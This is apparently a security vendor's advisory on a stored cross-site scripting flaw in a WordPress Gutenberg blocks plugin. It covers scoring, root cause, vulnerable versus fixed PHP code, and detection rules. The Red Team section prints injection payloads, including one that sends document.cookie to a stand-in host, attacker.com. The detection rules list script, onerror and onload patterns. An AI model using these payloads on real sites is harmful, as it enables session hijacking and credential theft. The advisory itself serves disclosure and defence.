CVE-2024-47368

Executive Summary

CVE-2024-47368 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Premium Blocks – Gutenberg Blocks for WordPress plugin by Leap13, versions up to and including 2.1.33. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages or posts. When a site administrator or other user views the compromised content, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability stems from improper neutralization of user-supplied input during web page generation. The plugin fails to sanitize or escape certain block attributes before rendering them in the WordPress editor or frontend. Given the widespread use of Gutenberg block plugins, this issue poses a significant risk to WordPress sites running the affected version.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. No known supply chain compromise (e.g., malicious commits or backdoored packages) has been reported. However, the lack of a patch from the vendor increases the risk of exploitation via unmaintained installations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level WordPress user)
• User Interaction: Required (Admin or editor must view the compromised content)
• Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can persist and affect multiple users, including administrators.

Deep Dive & Mechanics

The vulnerability exists in the premium-blocks-for-gutenberg plugin, specifically in how it handles block attributes for custom Gutenberg blocks. The plugin fails to properly sanitize or escape user-supplied input when rendering block content in the WordPress editor and frontend.

Root Cause: The plugin uses dangerouslySetInnerHTML or similar React-based rendering without prior sanitization, or it outputs raw input via PHP without escaping. An attacker with contributor-level access can craft a block containing malicious JavaScript in attributes such as className, style, or custom data fields.

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Creates or edits a post/page using a vulnerable Premium Block.
3. Injects a payload like <img src=x onerror=alert('XSS')> into a block attribute.
4. The payload is stored in the WordPress database.
5. When an administrator or other user views the post, the script executes in their browser.

Impact: Stored XSS can lead to:

• Session cookie theft
• Redirection to malicious sites
• Defacement of the WordPress site
• Privilege escalation if an admin’s session is hijacked

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on common WordPress security practices.

Vulnerable Code (PHP example):

// In a block render callback
function render_premium_block($attributes) {
    $output = '<div class="' . $attributes['className'] . '">' . $attributes['content'] . '</div>';
    return $output;
}

Patched Code (Hypothetical):

function render_premium_block($attributes) {
    $safe_class = esc_attr($attributes['className']);
    $safe_content = wp_kses_post($attributes['content']);
    $output = '<div class="' . $safe_class . '">' . $safe_content . '</div>';
    return $output;
}

Key Differences:

• esc_attr() escapes HTML attributes.
• wp_kses_post() allows only safe HTML tags and attributes for post content.
• All user input is sanitized before output.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with Premium Blocks plugin <= 2.1.33.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post.
3. Add a Premium Block (e.g., "Premium Heading" or "Premium Button").
4. In the block’s custom CSS class or content field, inject:

   "><script>alert(document.cookie)</script>
   

5. Publish or save the post as a draft.
6. Wait for an admin to view the post.

Payload Example:

<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>

Blue Team

Detection:

• Monitor for unusual block attribute values in post revisions.
• Look for posts containing <script>, onerror, or onload attributes in block content.
• Use WAF rules to block common XSS patterns in POST requests to wp-admin/post.php.

Mitigation:

• Disable or remove the Premium Blocks plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Restrict contributor-level users from using custom CSS/JS fields.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available; plugin files may vary by version)
• Suspicious Post Content: Posts containing unescaped HTML/JavaScript in block attributes.
• Network Traffic: Outbound requests to attacker-controlled domains from WordPress admin pages.
• Log Entries: wp-admin/post.php POST requests with unusual attributes parameters.

Detection Engineering

YARA Rule

rule CVE_2024_47368_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Premium Blocks plugin"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-47368"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $plugin = "premium-blocks-for-gutenberg"
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: CVE-2024-47368 Stored XSS in Premium Blocks Plugin
id: 8a3f2c1e-5d7b-4a9f-8c6e-1b2d3e4f5a6b
status: experimental
description: Detects stored XSS attempts via Premium Blocks plugin attributes
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/post.php'
        http.body|contains: 'premium-blocks-for-gutenberg'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in block content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-47368 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"premium-blocks-for-gutenberg"; http_client_body; pcre:"/(<script|onerror=|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available.
2. Upgrade to a patched version once released by Leap13.
3. Apply virtual patching via WAF rules to block XSS payloads.

Long-term Measures:

• Implement a Content Security Policy (CSP) with script-src 'self'.
• Regularly audit WordPress plugins for known vulnerabilities.
• Use a security plugin (e.g., Wordfence) to monitor for XSS attempts.
• Restrict user roles: do not grant contributor access to untrusted users.

Workaround:

• Manually sanitize block output by editing plugin files (not recommended for non-developers).

Valters IT
Securing Digital Ecosystems